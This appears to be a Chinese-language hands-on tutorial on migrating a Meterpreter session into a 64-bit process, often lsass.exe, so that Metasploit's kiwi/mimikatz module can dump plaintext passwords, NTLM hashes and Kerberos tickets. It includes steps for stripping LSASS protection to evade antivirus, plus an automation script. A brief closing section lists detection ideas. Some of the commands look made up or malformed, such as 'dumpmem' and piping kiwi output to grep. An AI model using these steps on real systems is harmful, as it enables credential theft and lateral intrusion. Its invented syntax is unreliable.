实战演练:在64位Windows上,如何正确迁移进程让MSF的kiwi模块成功抓取明文密码
实战演练:在64位Windows上如何正确迁移进程让MSF的kiwi模块成功抓取明文密码
当你第一次在64位Windows系统上兴奋地输入creds_all命令,却只看到一片空白或报错信息时,那种挫败感我深有体会。这不是kiwi模块失效了,而是大多数教程没讲清楚的一个关键细节——进程架构匹配。本文将带你深入理解32/64位进程环境的差异,并手把手演示如何通过正确迁移让kiwi模块发挥全部威力。
1. 为什么kiwi模块在64位系统上会失效?
许多初学者以为只要获得system权限就能畅行无阻,却忽略了Metasploit框架自身的设计特点。Meterpreter默认注入的是32位payload,而64位系统的安全子系统(如LSASS)往往运行在64位模式。这种架构不匹配会导致:
- API调用失败:32位进程无法直接调用64位系统的关键API函数
- 内存访问限制:32位进程只能访问4GB地址空间中的部分区域
- 数据结构错位:64位系统的安全数据结构与32位存在偏移差异
提示:用
sysinfo命令确认系统架构时,如果看到"x64-based PC"却仍在32位进程中操作,就是典型的问题场景。
2. 诊断进程环境的实战步骤
2.1 确认系统架构与进程状态
首先建立meterpreter会话后,立即执行:
sysinfo典型输出示例:
Computer : WIN-7A9ABCD1234 OS : Windows 10 (Build 19045) Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows关键观察点:
Architecture显示x64但Meterpreter显示x86/windows- 这种组合意味着你正在32位环境下操作64位系统
2.2 识别合适的迁移目标进程
运行进程列表命令:
ps筛选目标进程的标准:
- x64架构:在"Arch"列明确标注"x64"
- 稳定进程:选择系统核心进程如:
- lsass.exe (安全子系统)
- svchost.exe (多个系统服务宿主)
- explorer.exe (用户界面外壳)
- 相同权限:确保目标进程具有SYSTEM权限(可通过
getuid确认)
推荐目标进程优先级:
| 进程名 | PID范围 | 稳定性 | 推荐指数 |
|---|---|---|---|
| lsass.exe | 500-800 | ★★★★★ | ★★★★★ |
| svchost.exe | 1000-2000 | ★★★★☆ | ★★★★☆ |
| explorer.exe | 2000-3000 | ★★★☆☆ | ★★★☆☆ |
3. 安全迁移进程的关键技巧
3.1 使用migrate命令的正确姿势
基本语法:
migrate <PID>但直接迁移可能失败,建议采用以下增强流程:
先创建新会话(避免迁移失败导致连接中断):
run post/windows/manage/multi_meterpreter_inject -P <payload> -S使用-P参数预加载迁移:
migrate -P <PID>验证迁移结果:
sysinfo确认Meterpreter显示"x64/windows"
3.2 常见错误处理方案
错误1:权限不足
[-] Error running command migrate: Rex::RuntimeError Cannot migrate into this process.解决方案:
getsystem steal_token <PID> migrate <PID>错误2:进程保护
[-] Error: Unable to migrate to process.尝试注入到新创建的进程:
execute -f notepad.exe -H migrate <新PID>4. kiwi模块的进阶使用姿势
成功迁移到64位进程后,加载kiwi模块:
load kiwi4.1 密码提取的多种姿势
基础命令:
creds_all高级技巧组合:
直接调用mimikatz功能:
kiwi_cmd "sekurlsa::logonpasswords"导出Kerberos票据:
kiwi_cmd "kerberos::list /export"内存中提取NTLM哈希:
kiwi_cmd "lsadump::sam"
4.2 数据持久化技巧
将结果自动保存到数据库:
creds_all -o /root/loot.txt db_import /root/loot.txt使用自定义格式输出:
kiwi_cmd "sekurlsa::logonpasswords" | grep -i "username\|password\|domain"5. 实战中的精妙细节
5.1 绕过AV的内存操作技巧
现代杀毒软件会监控lsass.exe的内存访问,可以:
使用定制版mimikatz:
kiwi_cmd "!+" "!processprotect /process:lsass.exe /remove"创建lsass.exe的转储文件:
dumpmem -p lsass.exe -f /tmp/lsass.dmp
5.2 自动化迁移脚本
将整个流程自动化保存为.rc文件:
# auto_migrate.rc sysinfo run post/windows/manage/migrate load kiwi creds_all执行方式:
msfconsole -r auto_migrate.rc6. 防御视角:如何检测此类攻击
作为蓝队成员,应当监控:
- 异常进程注入:非系统进程访问lsass.exe
- 可疑的migrate操作:进程突然改变架构特征
- kiwi模块特征:特定DLL加载模式
检测命令示例:
Get-Process | Where-Object { $_.Modules.ModuleName -contains "kiwi" }